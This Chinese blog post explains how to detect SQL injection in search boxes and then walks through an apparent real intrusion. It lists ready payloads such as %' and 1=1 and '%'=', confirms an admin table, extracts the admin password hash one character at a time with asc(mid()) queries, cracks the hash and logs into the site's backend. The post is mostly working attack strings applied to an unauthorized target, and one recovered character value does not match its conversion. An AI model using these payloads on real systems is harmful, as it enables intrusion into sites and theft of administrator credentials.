天天看點

搜尋框注入

如果沒有說錯的話,在國内應該是lake2最早提出搜尋型文本框注入的。這個問題我也是最近才搞明白的,因為上網時間少,工作又比較忙,是以很少時間來學習。以前很傻以為搜尋型注入就是直接在文本框中輸入and 1=1 和and 1=2,結果每次都是出現同樣的頁面,說是什麼沒有找到你搜尋的關鍵詞,汗啊

曾經有個人就說過,中國的黑客滿地都是啊;而且有一項調查顯示,中國有超過50%的大學生想成為黑客,這也許就是中國第三代黑客基本山都是在校大學生了。

經過N多人是使用阿D和明小子,現在很明顯的注入漏洞已經很少了。記得有個人說的比較對,要是沒有中國的“黑客”的努力,中國的網絡安全發展的不會這麼快,其實這句話說的不無道理。

跑題了................

說到注入,最根本的原因是程式員在寫程式的時候沒有把數字和字元過濾嚴格,是以隻要是涉及到注入就要聯系到 and 1=1 and 1=2經典的判斷語句,不過搜尋型注入也是在普通SQL基礎上的一個升華

判斷搜尋型注入的方法:

1 搜尋keywords‘,如果出錯的話,有90%的可能性存在漏洞;

2 搜尋 keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;

3 搜尋keywords% 'and 1=1 and '%'='(這個語句的功能就相當于普通SQL注入的 and 1=1)看傳回的情況

4 搜尋keywords% 'and 1=2 and '%'='(這個語句的功能就相當于普通SQL注入的 and 1=2)看傳回的情況

5 根據兩次的傳回情況來判斷是不是搜尋型文本框注入了

後面就是手工注入了,和普通的SQL注入是一樣的了...

手工注入還是先判斷一下資料庫類型,如果是MSSQL,就可以使用 order by/union/concat/update/等關鍵詞來提高工作效率

如果是ACCESS的話,就是苦力活了,一個一個猜吧

首先判斷注入點,在查詢關鍵字那裡輸入:4%' and 1=1 and '%' ='    傳回正常,沒報錯,

然後輸入:4%' and 1=2 and '%' ='  報錯了,說明這個地方是存在注入點的。

這個是post的方式的,抓包之後,本來打算用工具來跑的,試了一下,沒檢測出來,我就用手工來慢慢檢測吧。

我沒有馬上查表名,而是去看了看背景,直接在域名後面加上admin成功爆出背景,找到背景後看了一下這個背景的源檔案。

好了,我們先來查詢一下表名吧,在搜尋框裡輸入:%'and(select count(*)from admin)>0 and '%'='     傳回正常,說明這個admin表存在。

我再來檢視一下字段吧,從剛才檢視那個背景的源檔案得知有psw這個字段,查詢字段:

4%'and(select top 1 len(psw)from admin) and '%'='  傳回正常。

現在重點來了,我們查一下它裡面的内容吧

4%'and(select top 1 asc(mid(psw,1,1))from admin)>54 and '%'='  

4%'and(select top 1 asc(mid(psw,2,1))from admin)>49 and '%'='  

4%'and(select top 1 asc(mid(psw,3,1))from admin)>54 and '%'='  

4%'and(select top 1 asc(mid(psw,4,1))from admin)>96 and '%'='  

4%'and(select top 1 asc(mid(psw,5,1))from admin)>100 and '%'='

4%'and(select top 1 asc(mid(psw,6,1))from admin)>98 and '%'='  

4%'and(select top 1 asc(mid(psw,7,1))from admin)>48 and '%'='  

4%'and(select top 1 asc(mid(psw,8,1))from admin)>97 and '%'='  

4%'and(select top 1 asc(mid(psw,9,1))from admin)>96 and '%'='  

4%'and(select top 1 asc(mid(psw,10,1))from admin)>53 and '%'='

4%'and(select top 1 asc(mid(psw,11,1))from admin)>99 and '%'='

4%'and(select top 1 asc(mid(psw,12,1))from admin)>55 and '%'='

4%'and(select top 1 asc(mid(psw,13,1))from admin)>100 and '%'='

4%'and(select top 1 asc(mid(psw,14,1))from admin)>49 and '%'='  

4%'and(select top 1 asc(mid(psw,15,1))from admin)>51 and '%'='   

4%'and(select top 1 asc(mid(psw,16,1))from admin)>56 and '%'='   

手工注入就是麻煩,通過我慢慢的檢測,成功爆出了相應的值:

55 50 55 97 101 99 49 98 97 54 96 56 101 50 52 57

用轉換工具轉換了一下得出:727aec1ba6d8e249 (md5值)

解密之後就是:101010

我試了一下使用者名admin果然正确,登入背景。